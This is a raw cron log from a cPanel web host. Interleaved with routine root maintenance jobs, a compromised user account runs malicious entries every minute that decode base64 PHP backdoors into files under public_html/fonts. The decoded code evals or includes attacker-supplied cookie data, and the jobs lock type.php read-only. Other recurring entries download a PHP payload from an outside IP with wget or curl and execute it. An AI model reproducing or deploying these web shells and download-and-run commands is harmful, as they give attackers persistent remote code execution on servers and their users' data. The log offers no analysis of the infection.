Sep 10 00:09:01 ip-184-168-122-23 CROND[2064]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 00:09:01 ip-184-168-122-23 CROND[2067]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 10 00:09:01 ip-184-168-122-23 CROND[2065]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:09:01 ip-184-168-122-23 CROND[2066]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:10:01 ip-184-168-122-23 CROND[2163]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 00:10:01 ip-184-168-122-23 CROND[2165]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 00:10:01 ip-184-168-122-23 CROND[2166]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 00:10:01 ip-184-168-122-23 CROND[2168]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:10:01 ip-184-168-122-23 CROND[2170]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 00:10:01 ip-184-168-122-23 CROND[2169]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:10:01 ip-184-168-122-23 CROND[2167]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 00:10:01 ip-184-168-122-23 CROND[2171]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 00:11:01 ip-184-168-122-23 CROND[2263]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 00:11:01 ip-184-168-122-23 CROND[2265]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:11:01 ip-184-168-122-23 CROND[2266]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 00:11:01 ip-184-168-122-23 CROND[2268]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:12:01 ip-184-168-122-23 CROND[2354]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:12:01 ip-184-168-122-23 CROND[2355]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 00:12:01 ip-184-168-122-23 CROND[2358]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 00:12:01 ip-184-168-122-23 CROND[2356]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 00:12:01 ip-184-168-122-23 CROND[2357]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:13:01 ip-184-168-122-23 CROND[2453]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 00:13:01 ip-184-168-122-23 CROND[2455]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:13:01 ip-184-168-122-23 CROND[2456]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:13:01 ip-184-168-122-23 CROND[2457]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 00:14:01 ip-184-168-122-23 CROND[2536]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 00:14:01 ip-184-168-122-23 CROND[2539]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 00:14:01 ip-184-168-122-23 CROND[2538]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:14:01 ip-184-168-122-23 CROND[2540]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 00:14:01 ip-184-168-122-23 CROND[2541]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:15:01 ip-184-168-122-23 CROND[2721]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 00:15:02 ip-184-168-122-23 CROND[2724]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:15:02 ip-184-168-122-23 CROND[2726]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Sep 10 00:15:02 ip-184-168-122-23 CROND[2727]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 00:15:02 ip-184-168-122-23 CROND[2728]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 00:15:02 ip-184-168-122-23 CROND[2729]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 00:15:02 ip-184-168-122-23 CROND[2730]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep 10 00:15:02 ip-184-168-122-23 CROND[2731]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:16:01 ip-184-168-122-23 CROND[2839]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:16:01 ip-184-168-122-23 CROND[2841]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 00:16:01 ip-184-168-122-23 CROND[2846]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:16:01 ip-184-168-122-23 CROND[2843]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 00:16:01 ip-184-168-122-23 CROND[2844]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 00:16:01 ip-184-168-122-23 CROND[2847]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 00:17:01 ip-184-168-122-23 CROND[2930]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:17:01 ip-184-168-122-23 CROND[2931]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 00:17:01 ip-184-168-122-23 CROND[2933]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:17:01 ip-184-168-122-23 CROND[2932]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 00:18:01 ip-184-168-122-23 CROND[3012]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:18:01 ip-184-168-122-23 CROND[3014]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 00:18:01 ip-184-168-122-23 CROND[3015]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:18:01 ip-184-168-122-23 CROND[3016]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 00:18:01 ip-184-168-122-23 CROND[3017]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 00:19:02 ip-184-168-122-23 CROND[3094]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:19:02 ip-184-168-122-23 CROND[3096]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 00:19:02 ip-184-168-122-23 CROND[3095]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:19:02 ip-184-168-122-23 CROND[3098]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 00:20:01 ip-184-168-122-23 CROND[3201]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 00:20:01 ip-184-168-122-23 CROND[3204]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 00:20:01 ip-184-168-122-23 CROND[3206]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 00:20:01 ip-184-168-122-23 CROND[3213]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 00:20:01 ip-184-168-122-23 CROND[3214]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:20:01 ip-184-168-122-23 CROND[3210]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 00:20:01 ip-184-168-122-23 CROND[3212]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 00:20:01 ip-184-168-122-23 CROND[3209]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 00:20:01 ip-184-168-122-23 CROND[3208]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
